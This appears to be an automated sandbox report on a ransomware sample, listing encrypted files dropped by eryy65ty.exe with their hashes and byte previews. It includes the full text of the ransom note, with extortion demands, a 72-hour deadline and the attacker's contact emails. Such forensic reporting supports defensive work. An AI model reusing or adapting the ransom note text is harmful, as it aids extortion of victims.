                                                                                                                                        Preview:..$......Z.2.fh...f3....C.4....?..r.T..<=%.Ob.Xs.>.Rp..[......:b.pN.rP.}..<..a..o..N.q..m..LE.i..........7....+..h.....s{..cp2[........=M..$..#n..f0S.U..g.m%E..EV.^q.->..J...._S`...yh.zo.?...9.[[....} .. .0.m.w...2........-.]....q....B?...H.D.........k. ..I....M.Z.S...c....../.......IK.IKI].s.h.z~$.DK.d.............;F.Zm*.:..F...r.p.b.dN..?..E)Q5E.../L..%Ok.L.h.GED3..4..-[...z/.....8..A..f.s\..V.A&.T-.j..{bp..y..3.z..UE..s.o......|...W..5^._..M.z...7.y....m....D....Z.aV.N.y.I..'P...9..v.2. _.d1L.........."e:.BBk..|.G.v.;12.j.M..PfG.$.L|o.......~..z#.~;......`.-._zw....9..X5Y....+..~......WK7]3.].4.oG..P.. w{P{...M...j.mj.H*..$&.v.R..^2..]@,DLq]..j........:..h..`h.E.d.Lo..QA.yu....ga.KA..f..H.....%(..j.k$.8../..nF.......=.(.b.....L._..Q..A......`...-uu..S|D.n..>./.j..li.....Y|.lQGK.......L.Wi..b.Be.....eB..O..Q../...1=.3K...o....&........).H.w......j..NI5..r.H.uI......q.....o.Y........1.x.".L.......%#..\....\..a........~.4...........QAP
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8454440730112
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:xmLYO9BLEVKfOI03BSg4iYuo/7O16rrvRMDUg68dGLYA1CwD3MaJm:x29HB0xSCY7/7vbiaFLPCwDe
                                                                                                                                        MD5:22A5F254BE01EAC29A22859872C94FFB
                                                                                                                                        SHA1:070763E204652FC350861F39D68CCDE1DE2002C6
                                                                                                                                        SHA-256:775D3F05ACC4323136BCF9EE6B3DAAA02C318095E1BD8C243101D31D20B74054
                                                                                                                                        SHA-512:53094E60361C00A07D4D1FD976B9E9730D7470004DD29CAE718A31AEB6A4D79F224E5944AE85951A18C137450F60120FCA752C8B7CDB7F475E4AA051D03EB9B3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..$......Z.2.fh...f3....C.4....?..r.T..<=%.Ob.Xs.>.Rp..[......:b.pN.rP.}..<..a..o..N.q..m..LE.i..........7....+..h.....s{..cp2[........=M..$..#n..f0S.U..g.m%E..EV.^q.->..J...._S`...yh.zo.?...9.[[....} .. .0.m.w...2........-.]....q....B?...H.D.........k. ..I....M.Z.S...c....../.......IK.IKI].s.h.z~$.DK.d.............;F.Zm*.:..F...r.p.b.dN..?..E)Q5E.../L..%Ok.L.h.GED3..4..-[...z/.....8..A..f.s\..V.A&.T-.j..{bp..y..3.z..UE..s.o......|...W..5^._..M.z...7.y....m....D....Z.aV.N.y.I..'P...9..v.2. _.d1L.........."e:.BBk..|.G.v.;12.j.M..PfG.$.L|o.......~..z#.~;......`.-._zw....9..X5Y....+..~......WK7]3.].4.oG..P.. w{P{...M...j.mj.H*..$&.v.R..^2..]@,DLq]..j........:..h..`h.E.d.Lo..QA.yu....ga.KA..f..H.....%(..j.k$.8../..nF.......=.(.b.....L._..Q..A......`...-uu..S|D.n..>./.j..li.....Y|.lQGK.......L.Wi..b.Be.....eB..O..Q../...1=.3K...o....&........).H.w......j..NI5..r.H.uI......q.....o.Y........1.x.".L.......%#..\....\..a........~.4...........QAP
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.845042497410248
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:F9XNpqSXZbz4L8HQ38Jf5Wp9AQTT5wmmw2NyldseamgMqEEyDCl:GSXZAoHQ38JBWzttNdse3gvEEMCl
                                                                                                                                        MD5:B4CA9519B66625976B1D24CA1E045229
                                                                                                                                        SHA1:68A6B23E82D2FFC7525CEF44F83B6EEEEC267350
                                                                                                                                        SHA-256:979096CA03885C237AC0AFC753145E0133C7A576AD7AE0FEA9D43F61B7C0E446
                                                                                                                                        SHA-512:485C3D4FB768D6F44B139BAC8530E4218ECA0505AB397E543AC43D2C5201A0017AE57455F325890491E27C05E8E630A0556F6046FFF50957F1DB231C22336D40
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Cui.)..1........DnZP........>...f...:....i8 .......CP.5G..6,.e....R....v.........!I.....3.0?.S.$1.......k..\)b.^.<."..1hk.S....N.E.Tb2..v..U..\...g$...Q."_..5.dwQ..w.........Tt.#...v....x..#..D..+.X..}(.l........_.jm..eAHE......M.+B...{..n.....0.....u.-&F....f.T..V.;..-H.....^~e.:[=.n....^.,Q....[........p.t...\.f.E.....].....:B.......%Y.._.Ll.E.....Ic&....kh..+.;..-Tt.}$...6......'..x..y.....b?.t..D..v.....?.*i....*f.._.J./.Jz...A.2f(...v.......;......[i....\Y.\]w..{.S...{.f.W.....v.Ot...)\].G.........X..Q.@...!,..........8..`8.V`!..Wpf...pC......[.8.oyLa%4$..>&/`..a.........x.....^+k..q....0....8_C..0.O+./.f.\~...Z.......$..R.4......F..JTG.....j...Y..oe...oem.[.=..`.W.{..U.C.R.v8T.F...w.e../.?.F.0...X.b..>..7...l'.em....b.!.q.I=].-.....z.....P......2..}..H..........i.4..D.......R.i......M.@.tq.p.9.....C.?..,e.iJ+.u..B|Uz.Y.,.....6.....Y.:......l..0....s............P.`m...Gr5cz6j.#...nj..Cg8....).."..q.;...zp&.^...._.O...k..*..5O...L.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.845042497410248
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:F9XNpqSXZbz4L8HQ38Jf5Wp9AQTT5wmmw2NyldseamgMqEEyDCl:GSXZAoHQ38JBWzttNdse3gvEEMCl
                                                                                                                                        MD5:B4CA9519B66625976B1D24CA1E045229
                                                                                                                                        SHA1:68A6B23E82D2FFC7525CEF44F83B6EEEEC267350
                                                                                                                                        SHA-256:979096CA03885C237AC0AFC753145E0133C7A576AD7AE0FEA9D43F61B7C0E446
                                                                                                                                        SHA-512:485C3D4FB768D6F44B139BAC8530E4218ECA0505AB397E543AC43D2C5201A0017AE57455F325890491E27C05E8E630A0556F6046FFF50957F1DB231C22336D40
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Cui.)..1........DnZP........>...f...:....i8 .......CP.5G..6,.e....R....v.........!I.....3.0?.S.$1.......k..\)b.^.<."..1hk.S....N.E.Tb2..v..U..\...g$...Q."_..5.dwQ..w.........Tt.#...v....x..#..D..+.X..}(.l........_.jm..eAHE......M.+B...{..n.....0.....u.-&F....f.T..V.;..-H.....^~e.:[=.n....^.,Q....[........p.t...\.f.E.....].....:B.......%Y.._.Ll.E.....Ic&....kh..+.;..-Tt.}$...6......'..x..y.....b?.t..D..v.....?.*i....*f.._.J./.Jz...A.2f(...v.......;......[i....\Y.\]w..{.S...{.f.W.....v.Ot...)\].G.........X..Q.@...!,..........8..`8.V`!..Wpf...pC......[.8.oyLa%4$..>&/`..a.........x.....^+k..q....0....8_C..0.O+./.f.\~...Z.......$..R.4......F..JTG.....j...Y..oe...oem.[.=..`.W.{..U.C.R.v8T.F...w.e../.?.F.0...X.b..>..7...l'.em....b.!.q.I=].-.....z.....P......2..}..H..........i.4..D.......R.i......M.@.tq.p.9.....C.?..,e.iJ+.u..B|Uz.Y.,.....6.....Y.:......l..0....s............P.`m...Gr5cz6j.#...nj..Cg8....).."..q.;...zp&.^...._.O...k..*..5O...L.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.861505291570412
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:GMilOnx5IwSSUwCbBTDdzFAnQdc+umpplw4ZZxw2zyp0BKmk0uaZrRq1:GmnbzUwgDdinQdtppW4ZvpzyKFksq
                                                                                                                                        MD5:68C8B57537D5ADDC1374FB579441F313
                                                                                                                                        SHA1:9347EC5059F865953CDEF7FA2A2C418F3E10ECE1
                                                                                                                                        SHA-256:9134EF58E645D4A437538A66642386D1678E213BC0E02038ACB4D8E7D762AAF1
                                                                                                                                        SHA-512:EE1D9E085474E8F7949D834463A390E4ABC0F4F1928AC3E15986254943FB8971B05D8C0B1C80779D7EFF30DDFD77845FB6084620FF2E5B2DDC68AF90584C3CEF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....:...1...l...N+.eC...f....o.-4.VY..;uy2.h.^...+.{:..t.....i.....O.$H.d"S.)...~.....v.}.Y...&...)y......14.B...r.*.v..(..E.u.nU....'p.....t `V,.A....j..y.(.>..V......m{g.Ny..!y..3.KF.[..$...a..l..+.i.~..|..?.aT8.....YQ.\Y..\UZ...V]\!..F.....9..g..0....9..Wd.$..v.=8..]..X..4..{..[.~..z......EE.....hO/.~..~.r.G........\.9R.....0..y..2m..UA@9.P...W~ZP..L3....`.X.........y.....uXJ......Z....?.E8(.1. ...(=`..eaO....S..T..!o...3..?.....]BV........Pdc.3......o...dC.....@.,..R.9.RH..t.8....3..Q.....dn.J.r...~+...."...dL.BH...x..5>p,...x.........U..19Im.n.7..mC...aW.X.c...(m`=..g."8)...T..;.f.....?.g..4. [...Y.w...[.sw.<.s.87w..$.........9Go...^..K.N...<[..0.P.(.......H...g4p..D.<.;.z\...O..k.N.Mq........I.XN/.e-&.b.:....km;..d..P[y*...3?.(..".I0(.3Ana...K|.f#|zLu.N>....;38=.h...;.k.B.+..D.Ri[.....6>.Y....~......Z7S._........R*.W.RM?.ek.`6!..x.....+.I....Rk.&.P...JYY....|...n\,.`1..)..,.........@._7n.A..Uh.h...MD.'..s....K.W..?..1.YJ..sW....@i..^
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.861505291570412
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:GMilOnx5IwSSUwCbBTDdzFAnQdc+umpplw4ZZxw2zyp0BKmk0uaZrRq1:GmnbzUwgDdinQdtppW4ZvpzyKFksq
                                                                                                                                        MD5:68C8B57537D5ADDC1374FB579441F313
                                                                                                                                        SHA1:9347EC5059F865953CDEF7FA2A2C418F3E10ECE1
                                                                                                                                        SHA-256:9134EF58E645D4A437538A66642386D1678E213BC0E02038ACB4D8E7D762AAF1
                                                                                                                                        SHA-512:EE1D9E085474E8F7949D834463A390E4ABC0F4F1928AC3E15986254943FB8971B05D8C0B1C80779D7EFF30DDFD77845FB6084620FF2E5B2DDC68AF90584C3CEF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....:...1...l...N+.eC...f....o.-4.VY..;uy2.h.^...+.{:..t.....i.....O.$H.d"S.)...~.....v.}.Y...&...)y......14.B...r.*.v..(..E.u.nU....'p.....t `V,.A....j..y.(.>..V......m{g.Ny..!y..3.KF.[..$...a..l..+.i.~..|..?.aT8.....YQ.\Y..\UZ...V]\!..F.....9..g..0....9..Wd.$..v.=8..]..X..4..{..[.~..z......EE.....hO/.~..~.r.G........\.9R.....0..y..2m..UA@9.P...W~ZP..L3....`.X.........y.....uXJ......Z....?.E8(.1. ...(=`..eaO....S..T..!o...3..?.....]BV........Pdc.3......o...dC.....@.,..R.9.RH..t.8....3..Q.....dn.J.r...~+...."...dL.BH...x..5>p,...x.........U..19Im.n.7..mC...aW.X.c...(m`=..g."8)...T..;.f.....?.g..4. [...Y.w...[.sw.<.s.87w..$.........9Go...^..K.N...<[..0.P.(.......H...g4p..D.<.;.z\...O..k.N.Mq........I.XN/.e-&.b.:....km;..d..P[y*...3?.(..".I0(.3Ana...K|.f#|zLu.N>....;38=.h...;.k.B.+..D.Ri[.....6>.Y....~......Z7S._........R*.W.RM?.ek.`6!..x.....+.I....Rk.&.P...JYY....|...n\,.`1..)..,.........@._7n.A..Uh.h...MD.'..s....K.W..?..1.YJ..sW....@i..^
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865762445760239
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:eLGxHP1A+SuY+7rogDZl3L0t9sxZrs4CoV3ccSPCYabmpKDp:emv1jvrogDAsxpsK2dabOi
                                                                                                                                        MD5:972B2BDFB49B7D5B307B5A36780A9A64
                                                                                                                                        SHA1:4753C1855E0D3923339E3A118833387020730FF4
                                                                                                                                        SHA-256:F19BE0BA555362F5BDFDFED880E068CC8992F75209AD39A2A58520BBF71DE072
                                                                                                                                        SHA-512:B61AA9FD6196194C25D5606DCF2F68EF66545F4640A0A8F9209E60F8D2CDD073AFECE096786CCD3A4E110D2D67387B4C6160B044A9E8F5AA57CA4496F663A593
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:>S% ......r...g.7...o.N......t......?...QE.......Cm.V.RZ..X9.....:....W.m.{...s#..5..\U. Q^J..9D.cq$.X].....E..#.&<K...h.p.]..vH...y.7$F..8|.[.......7.!f.\.+.5.nf.f...q(M.tZ.'...CY%Dy..3Z.Y9f0......<...J...n...j.m^...@.n........3W.*e.o.....^...4.9..G.\..+._g.`.......PR.X/..L]..Q...S....._=...;>..w..p'..d<)Q..Dd..+........ms..=i.w<N.......!%.....b..;j.fz.P.c.......-.|.H~0..tS..r%...N.F.V.<.. MQ..O..(.L..5Vt".M..VU8.m.;.....m..[e..>..XJ....&..N.....B-...E.X.........Bb^...}....{g..]rd..yI......s.8.i...........D.|..3..0.=.GB....C......K...W.p.....Es.aAo.Z...+.....n..`.^.e.].:$..+....9olM....w...Y...P..Od...R}.rx..'.2.y...B..LW.G.Z.)fE..+&..YV...j."..@....;=..{...._W.?....M..s.M.....d%..6..Q..N..O.{.............Y.*..Lm....@...I.....f.Aq...p...b.OX.e.7Z"......?o..1.g..7 !M.O....1{....vd..Q..fx.4...$Y.v...R..u.V.p.NPy.f.`....D.aV..\...|.>c..(.....".{.. .qU...l._..5."O8.%..;....d....L{J....=L.O.XO...0J....2...|...a.p|.....(.Z.9qX#=h.....a.9u..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865762445760239
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:eLGxHP1A+SuY+7rogDZl3L0t9sxZrs4CoV3ccSPCYabmpKDp:emv1jvrogDAsxpsK2dabOi
                                                                                                                                        MD5:972B2BDFB49B7D5B307B5A36780A9A64
                                                                                                                                        SHA1:4753C1855E0D3923339E3A118833387020730FF4
                                                                                                                                        SHA-256:F19BE0BA555362F5BDFDFED880E068CC8992F75209AD39A2A58520BBF71DE072
                                                                                                                                        SHA-512:B61AA9FD6196194C25D5606DCF2F68EF66545F4640A0A8F9209E60F8D2CDD073AFECE096786CCD3A4E110D2D67387B4C6160B044A9E8F5AA57CA4496F663A593
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:>S% ......r...g.7...o.N......t......?...QE.......Cm.V.RZ..X9.....:....W.m.{...s#..5..\U. Q^J..9D.cq$.X].....E..#.&<K...h.p.]..vH...y.7$F..8|.[.......7.!f.\.+.5.nf.f...q(M.tZ.'...CY%Dy..3Z.Y9f0......<...J...n...j.m^...@.n........3W.*e.o.....^...4.9..G.\..+._g.`.......PR.X/..L]..Q...S....._=...;>..w..p'..d<)Q..Dd..+........ms..=i.w<N.......!%.....b..;j.fz.P.c.......-.|.H~0..tS..r%...N.F.V.<.. MQ..O..(.L..5Vt".M..VU8.m.;.....m..[e..>..XJ....&..N.....B-...E.X.........Bb^...}....{g..]rd..yI......s.8.i...........D.|..3..0.=.GB....C......K...W.p.....Es.aAo.Z...+.....n..`.^.e.].:$..+....9olM....w...Y...P..Od...R}.rx..'.2.y...B..LW.G.Z.)fE..+&..YV...j."..@....;=..{...._W.?....M..s.M.....d%..6..Q..N..O.{.............Y.*..Lm....@...I.....f.Aq...p...b.OX.e.7Z"......?o..1.g..7 !M.O....1{....vd..Q..fx.4...$Y.v...R..u.V.p.NPy.f.`....D.aV..\...|.>c..(.....".{.. .qU...l._..5."O8.%..;....d....L{J....=L.O.XO...0J....2...|...a.p|.....(.Z.9qX#=h.....a.9u..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865639857186431
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:XPNPr2UuAteEap95FlQAN4S2mIU2LQyC0SarAI0CxwSHssrPelzx4KpZWn:XPNqAsp95og0mIFLQl0SbwWSMsieKpQn
                                                                                                                                        MD5:96005444D3E907EAF9A92E9C31FB4E87
                                                                                                                                        SHA1:8814DA6B58A27CE438D16C61A15B226A901390CE
                                                                                                                                        SHA-256:233CAFBBAB9E32C401043A20276C02AA8D9D516946C607B7E6992A8653F61606
                                                                                                                                        SHA-512:2EEB24173E7DBA76A1880A4ADBF304DB87566C4D85567B644BE2A45A3B89F4B6654C2D540372119C0806DE6F16655464DC1EB2D146AB2C485913CF0AFCC03B8E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....!..L..O.Er...c:.Q*....3g6..7.....N....q.rg|...J.3E...\<..WJl/#.?...W..Is$..]..O.Y.h..RD..O..,.4..Y..U4...;....^>...T .+q./......k.j0"...k.).|.z...U..H...].;....".Q.g..$g..4..3..ey.]f..M._.$.<.RH.I..F......SH#.%3..g........ahm....e.`........K)[...3.?:..a..l.x.|...#.Z. .948...i.|.:....T..V..T..>.1..W...g.f)~c....H..b.T......P.L.I....D.G..^P.+.....R.7.....K.....I.#.[.>..'D.1..._.0.B1J....n.v..l.......C...g$B..8S...:.S..j........!..L..sDJ.f...../..}a.)nb;_.B...(.d*.P".....@l.)o=....H.~....I...jeP.m...7..lG..s.....c.0c...Io.!..;62....@.S.........d..E$.......p...K..u(.0...u...}....FR..g3f).Y.il...HF!.ua..m......`i0...N............1..T.m...s.u.....s4c9......;L.f..4..k...Zo.5...n.'.\.?..?`..wC..p]...x......n.q.._ad.T.r..0..4UC....f.yD..7]..O...N..<...<.H...?.(...q."m..k.v..8Rgs..U...7.O.!h......R.z...@.#.`\o^3.....o.<{.'6....`?..!:....XS.m.!..G......4a@.A.............39]..h;...].Z.............._....=K.SH.c#...N......4e%}..r...Y.,.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865639857186431
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:XPNPr2UuAteEap95FlQAN4S2mIU2LQyC0SarAI0CxwSHssrPelzx4KpZWn:XPNqAsp95og0mIFLQl0SbwWSMsieKpQn
                                                                                                                                        MD5:96005444D3E907EAF9A92E9C31FB4E87
                                                                                                                                        SHA1:8814DA6B58A27CE438D16C61A15B226A901390CE
                                                                                                                                        SHA-256:233CAFBBAB9E32C401043A20276C02AA8D9D516946C607B7E6992A8653F61606
                                                                                                                                        SHA-512:2EEB24173E7DBA76A1880A4ADBF304DB87566C4D85567B644BE2A45A3B89F4B6654C2D540372119C0806DE6F16655464DC1EB2D146AB2C485913CF0AFCC03B8E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....!..L..O.Er...c:.Q*....3g6..7.....N....q.rg|...J.3E...\<..WJl/#.?...W..Is$..]..O.Y.h..RD..O..,.4..Y..U4...;....^>...T .+q./......k.j0"...k.).|.z...U..H...].;....".Q.g..$g..4..3..ey.]f..M._.$.<.RH.I..F......SH#.%3..g........ahm....e.`........K)[...3.?:..a..l.x.|...#.Z. .948...i.|.:....T..V..T..>.1..W...g.f)~c....H..b.T......P.L.I....D.G..^P.+.....R.7.....K.....I.#.[.>..'D.1..._.0.B1J....n.v..l.......C...g$B..8S...:.S..j........!..L..sDJ.f...../..}a.)nb;_.B...(.d*.P".....@l.)o=....H.~....I...jeP.m...7..lG..s.....c.0c...Io.!..;62....@.S.........d..E$.......p...K..u(.0...u...}....FR..g3f).Y.il...HF!.ua..m......`i0...N............1..T.m...s.u.....s4c9......;L.f..4..k...Zo.5...n.'.\.?..?`..wC..p]...x......n.q.._ad.T.r..0..4UC....f.yD..7]..O...N..<...<.H...?.(...q."m..k.v..8Rgs..U...7.O.!h......R.z...@.#.`\o^3.....o.<{.'6....`?..!:....XS.m.!..G......4a@.A.............39]..h;...].Z.............._....=K.SH.c#...N......4e%}..r...Y.,.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.847235540964734
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:k+agQNVTktHPOgRio/3uN3Q9X6eSeI18qtb5EQSAF3CkqaBXtcXS5+wHhHCY:kjhNBktGgpkQ9X6eSeoNEQSAHqagi+yp
                                                                                                                                        MD5:8BD7CECB70D254548041C09D785ABB38
                                                                                                                                        SHA1:3AAA413F86EA90EE32DE08A93F7762F0084CE66D
                                                                                                                                        SHA-256:B642A5F1ACCB61A98CFE4A38C7006844F6552DB1E72046BC1A2B9F04A8730E46
                                                                                                                                        SHA-512:85F936DDD98DF6CAC2EDF0FA38B4B62F972CF74F105B90EFE31197D85273838303FEF9EF4CB2E961015CEC67691FA421580BF79A9F4CD2478D2AF0576B86705B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.~....>..7.&..).....I.@.9wO.z.L..V...P.V..^(..W...J..D........}DO...r..[..;.,..0|_^..2....,.F'..3qH..0..,....W."wa.e.|e....rw..RM.:.pO..z.=....5y~..t..X.}...."y`N.r....4..V..Z....."..9v/.w.(9X1C.(.FR....m....f.%.O6.5....ED02n...C...H".3.z..T.h..R....V....w..`...Cd..3%.....+q.. ,Qr..m..Y..m.s..t.#......]H.,..q.7ji..cL.Y....F.....7.t.......YM.".G..hf.8.....$...26.j..=c.=...d.......|...C,.;.~..Outz.T.....:...%.#.z..>!g,..k....n6^.....v....!.....n...06..8^.V......8..W_...E.0}..O..g....%7..<.6.>..=r.*..7(...Q...m.5.pj..7..<.......H~ .T8d...#..)..d. .......%.=...w.m/l.S.P...Q......a....4..=`l.......#.?..x......3..%.......L.B.....{...oRM.!. ..u..9..~.8..9<T.nU:<9V}...'.BmB.y...6..hF....5u0..N...l.+..........<'.;@..E.f.2.v.du.].w8........C.....v.1..Z.aX..B..(<.....=X5f.wZ..........;.t"g.a...........f).U..F.k..&...|Y..4....u.r.]....&.2..uK..M.[.ct..k..".g.._:...:I[.....=,?5..~......j.(.?.6..x.F!q-a.....C.!..o..:.X+.#j..`...#..eV.j]...1.?^.f.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.847235540964734
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:k+agQNVTktHPOgRio/3uN3Q9X6eSeI18qtb5EQSAF3CkqaBXtcXS5+wHhHCY:kjhNBktGgpkQ9X6eSeoNEQSAHqagi+yp
                                                                                                                                        MD5:8BD7CECB70D254548041C09D785ABB38
                                                                                                                                        SHA1:3AAA413F86EA90EE32DE08A93F7762F0084CE66D
                                                                                                                                        SHA-256:B642A5F1ACCB61A98CFE4A38C7006844F6552DB1E72046BC1A2B9F04A8730E46
                                                                                                                                        SHA-512:85F936DDD98DF6CAC2EDF0FA38B4B62F972CF74F105B90EFE31197D85273838303FEF9EF4CB2E961015CEC67691FA421580BF79A9F4CD2478D2AF0576B86705B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.~....>..7.&..).....I.@.9wO.z.L..V...P.V..^(..W...J..D........}DO...r..[..;.,..0|_^..2....,.F'..3qH..0..,....W."wa.e.|e....rw..RM.:.pO..z.=....5y~..t..X.}...."y`N.r....4..V..Z....."..9v/.w.(9X1C.(.FR....m....f.%.O6.5....ED02n...C...H".3.z..T.h..R....V....w..`...Cd..3%.....+q.. ,Qr..m..Y..m.s..t.#......]H.,..q.7ji..cL.Y....F.....7.t.......YM.".G..hf.8.....$...26.j..=c.=...d.......|...C,.;.~..Outz.T.....:...%.#.z..>!g,..k....n6^.....v....!.....n...06..8^.V......8..W_...E.0}..O..g....%7..<.6.>..=r.*..7(...Q...m.5.pj..7..<.......H~ .T8d...#..)..d. .......%.=...w.m/l.S.P...Q......a....4..=`l.......#.?..x......3..%.......L.B.....{...oRM.!. ..u..9..~.8..9<T.nU:<9V}...'.BmB.y...6..hF....5u0..N...l.+..........<'.;@..E.f.2.v.du.].w8........C.....v.1..Z.aX..B..(<.....=X5f.wZ..........;.t"g.a...........f).U..F.k..&...|Y..4....u.r.]....&.2..uK..M.[.ct..k..".g.._:...:I[.....=,?5..~......j.(.?.6..x.F!q-a.....C.!..o..:.X+.#j..`...#..eV.j]...1.?^.f.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.852950458459899
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:edZJS6vBTZiDnDX0zQxWL0GPzunqeeW9XgRqesh0sIFcDHarEt/L9wgVm:CfxTZuDEzbYqSgcn6c0Et+l
                                                                                                                                        MD5:B9C927327503958D6B5ACF0590F0A782
                                                                                                                                        SHA1:E518F62B00A47A695E29B8D1E4B6F37A991F060B
                                                                                                                                        SHA-256:124C824BEF90839498F02CBA0C9EDF3398AC64974B758E253D9E35C281F0154E
                                                                                                                                        SHA-512:E8B00C2A5887879F3528ECC7E010338A99B33B1020F4652DA943E227A1D333A1732197F250957CE7AAB3B937CEA08CBDC0DDA8F0C3B233743C1C78EFBD06FF00
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.{.G5.s8.........c.RJ.p.q&.<..P.v.,/?+.X..xs28h.z .r3rR0C-._.D..'zE....7.:xs..r...k..;D.!.=.l..u.X.@<].....<..2...}Y {.$......6.8.d......k..T..w.b.....s\:e..]..w.....u....}.....o}V.."D..ska0.Cx..{G..5.t..|.`.tG.$J..........E.M(...(.d.E.W...........^...P.....!...BA...?..g..Z.4.i..WE..}...@RRU.*U....0...<7.....o.X..}PT.*_n>u.uo.),.....+....k.!xO..U.....}.........z)^.Z0@ri...\.?.S.3.....~w..r..v..Hk9...U.7.t..{h....-.vsuQ......F+[.m.:+.2...C......3.k...g..,c..Z..B.%.j.|. .h...T=S..@....w\dp+.].........(.)Pe.,......#*XtS.'..[..Q.......UQ..?.6..Nb9.?......M..#.b.W37){t......1ipN.A].+..rFaZ...l!......O..S^...d...@\....J.N.s"GO..0a|..<q....b.'n...+..~C.....,...N..P.B0c...h0?.R.}....x.-fB..,.z..dZ......v8..N.Z........)..4J..T.]..B.W.(.d..P.7YM.....L..+.FCq.v)........t....f.h..?...-..~...".`..x..B[....#.Y..,o.%...$..`].M..D....w.V...F...^..e!......G......@.rG)O[~...~.2...dl...D.....$@..7.p.......qb..=...G{.5..&.A..B...4...{..a.`...|....j...f.F
